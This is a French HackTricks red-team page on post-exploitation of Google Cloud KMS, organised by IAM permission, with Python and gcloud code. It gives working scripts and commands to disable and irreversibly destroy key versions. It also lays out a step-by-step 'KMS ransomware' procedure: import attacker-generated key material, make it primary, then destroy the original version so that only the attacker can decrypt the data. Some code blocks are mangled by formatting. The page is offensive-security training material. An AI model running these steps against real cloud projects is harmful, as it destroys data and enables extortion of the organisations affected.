GCP - KMS Post Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

KMS

Trouvez des informations de base sur KMS dans :

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

Un attacker disposant de cette permission pourrait détruire une version KMS. Pour ce faire, vous devez d’abord désactiver la clé, puis la détruire :

Désactiver et détruire la version de la clé (Python) ```python # pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Disables a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to disable the key version.

client.update_crypto_key_version(request={‘crypto_key_version’: {‘name’: key_version_name, ‘state’: kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Destroys a key version in Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Call the API to destroy the key version.

client.destroy_crypto_key_version(request={‘name’: key_version_name})

Example usage

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ # Version number to disable and destroy

Disable the key version

disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

Destroy the key version

destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

</details>

### KMS Ransomware

Dans AWS, il est possible d'entièrement **steal a KMS key** en modifiant la KMS resource policy et en autorisant uniquement le compte de l'attaquant à utiliser la clé. Comme ces resource policies n'existent pas dans GCP, cela n'est pas possible.

Cependant, il existe une autre façon d'exécuter un KMS Ransomware global, qui impliquerait les étapes suivantes :

- Créer une nouvelle **version de la clé avec un key material** importé par l'attaquant
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • Définir comme version par défaut (pour les données futures qui seront chiffrées)
  • Rechiffrer les anciennes données chiffrées avec la version précédente en utilisant la nouvelle.
  • Supprimer la clé KMS
  • Désormais, seul l’attaquant, qui possède le matériel de clé d’origine, pourrait être capable de déchiffrer les données chiffrées

Voici les étapes pour importer une nouvelle version et désactiver/supprimer les anciennes données :

Importer une nouvelle version de clé et supprimer l'ancienne version ```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.enc

Decrypt it

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Create an Import Job

gcloud kms import-jobs create my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–import-method “rsa-oaep-3072-sha1-aes-256”
–protection-level “software”

Generate key material

openssl rand -out my-key-material.bin 32

Import the Key Material (it’s encrypted with an asymetrict key of the import job previous to be sent)

gcloud kms keys versions import
–import-job my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–algorithm “google-symmetric-encryption”
–target-key-file my-key-material.bin

Get versions

gcloud kms keys versions list
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key

Make new version primary

gcloud kms keys update
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–primary-version 2

Try to decrypt again (error)

gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -

Disable initial version

gcloud kms keys versions disable
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key 1

Destroy the old version

gcloud kms keys versions destroy
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–version 1

</details>

### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`

<details>

<summary>Chiffrer des données avec une clé symétrique (Python)</summary>
```python
from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

Signer un message avec une clé asymétrique (Python) ```python import hashlib from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): “”“ Sign a message using an asymmetric key version from Cloud KMS. “”“

Create the client.

client = kms.KeyManagementServiceClient()

Build the key version name.

key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

Convert the message to bytes and calculate the digest.

message_bytes = message.encode(‘utf-8’) digest = {‘sha256’: hashlib.sha256(message_bytes).digest()}

Call the API to sign the digest.

sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature

Example usage for signing

project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ message = ‘your-message’

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(‘Signature:’, signature)

</details>

### `cloudkms.cryptoKeyVersions.useToVerify`

<details>

<summary>Vérifier la signature avec une clé asymétrique (Python)</summary>
```python
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)

cloudkms.cryptoKeyVersions.restore

La permission cloudkms.cryptoKeyVersions.restore permet à une identité de restaurer une version de clé qui avait été précédemment programmée pour destruction ou désactivée dans Cloud KMS, la remettant dans un état actif et utilisable.

gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

cloudkms.cryptoKeyVersions.update

L’autorisation cloudkms.cryptoKeyVersions.update permet à une identité de modifier les attributs ou l’état d’une version de clé spécifique dans Cloud KMS, par exemple en l’activant ou en la désactivant.

# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks